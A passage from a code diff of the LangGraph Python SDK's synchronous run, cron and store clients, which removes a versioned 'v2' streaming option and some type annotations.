"interrupt_after": interrupt_after,
"on_run_completed": on_run_completed,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -461,7 +451,7 @@ class SyncCronClient:
]
```
"""
payload: dict[str, Any] = {
payload = {
"assistant_id": assistant_id,
"thread_id": thread_id,
"enabled": enabled,
+7 -88
View File
@@ -5,14 +5,11 @@ from __future__ import annotations
import builtins
import warnings
from collections.abc import Callable, Iterator, Mapping, Sequence
from typing import Any, Literal, overload
from typing import Any, overload
import httpx
from langgraph_sdk._shared.utilities import (
_get_run_metadata_from_response,
_sse_to_v2_dict,
)
from langgraph_sdk._shared.utilities import _get_run_metadata_from_response
from langgraph_sdk._sync.http import SyncHttpClient
from langgraph_sdk.schema import (
All,
@@ -36,21 +33,9 @@ from langgraph_sdk.schema import (
RunStatus,
StreamMode,
StreamPart,
StreamPartV2,
StreamVersion,
)
def _wrap_stream_v2_sync(
raw: Iterator[StreamPart],
) -> Iterator[StreamPartV2]:
"""Wrap a raw SSE stream, converting each event to a v2 dict."""
for part in raw:
v2 = _sse_to_v2_dict(part.event, part.data)
if v2 is not None:
yield v2
class SyncRunsClient:
"""Synchronous client for managing runs in LangGraph.
@@ -95,66 +80,6 @@ class SyncRunsClient:
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v1"] = "v1",
) -> Iterator[StreamPart]: ...
@overload
def stream(
self,
thread_id: str,
assistant_id: str,
*,
input: Input | None = None,
command: Command | None = None,
stream_mode: StreamMode | Sequence[StreamMode] = "values",
stream_subgraphs: bool = False,
metadata: Mapping[str, Any] | None = None,
config: Config | None = None,
context: Context | None = None,
checkpoint: Checkpoint | None = None,
checkpoint_id: str | None = None,
checkpoint_during: bool | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
feedback_keys: Sequence[str] | None = None,
on_disconnect: DisconnectMode | None = None,
webhook: str | None = None,
multitask_strategy: MultitaskStrategy | None = None,
if_not_exists: IfNotExists | None = None,
after_seconds: int | None = None,
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v2"],
) -> Iterator[StreamPartV2]: ...
@overload
def stream(
self,
thread_id: None,
assistant_id: str,
*,
input: Input | None = None,
command: Command | None = None,
stream_mode: StreamMode | Sequence[StreamMode] = "values",
stream_subgraphs: bool = False,
stream_resumable: bool = False,
metadata: Mapping[str, Any] | None = None,
config: Config | None = None,
context: Context | None = None,
checkpoint_during: bool | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
feedback_keys: Sequence[str] | None = None,
on_disconnect: DisconnectMode | None = None,
on_completion: OnCompletionBehavior | None = None,
if_not_exists: IfNotExists | None = None,
webhook: str | None = None,
after_seconds: int | None = None,
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v1"] = "v1",
) -> Iterator[StreamPart]: ...
@overload
@@ -183,8 +108,7 @@ class SyncRunsClient:
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v2"],
) -> Iterator[StreamPartV2]: ...
) -> Iterator[StreamPart]: ...
def stream(
self,
@@ -215,8 +139,7 @@ class SyncRunsClient:
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
durability: Durability | None = None,
version: StreamVersion = "v1",
) -> Iterator[StreamPart | StreamPartV2]:
) -> Iterator[StreamPart]:
"""Create a run and stream the results.
Args:
@@ -256,8 +179,7 @@ class SyncRunsClient:
"async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True
"sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False
"exit" means checkpoints are only persisted when the run exits, does not save intermediate steps
version: Stream format version. "v1" (default) returns raw SSE StreamPart
NamedTuples. "v2" returns typed dicts with `type`, `ns`, and `data` keys.
Returns:
Iterator of stream results.
@@ -296,7 +218,7 @@ class SyncRunsClient:
DeprecationWarning,
stacklevel=2,
)
payload: dict[str, Any] = {
payload = {
"input": input,
"command": (
{k: v for k, v in command.items() if v is not None} if command else None
@@ -333,7 +255,7 @@ class SyncRunsClient:
if on_run_created and (metadata := _get_run_metadata_from_response(res)):
on_run_created(metadata)
raw = self.http.stream(
return self.http.stream(
endpoint,
"POST",
json={k: v for k, v in payload.items() if v is not None},
@@ -341,9 +263,6 @@ class SyncRunsClient:
headers=headers,
on_response=on_response if on_run_created else None,
)
if version == "v2":
return _wrap_stream_v2_sync(raw)
return raw
@overload
def create(
+1 -1
View File
@@ -134,7 +134,7 @@ class SyncStoreClient:
f"Invalid namespace label '{label}'. Namespace labels cannot contain periods ('.')."
)
query_params: dict[str, Any] = {"key": key, "namespace": ".".join(namespace)}
query_params = {"key": key, "namespace": ".".join(namespace)}
if refresh_ttl is not None:
query_params["refresh_ttl"] = refresh_ttl
if params:

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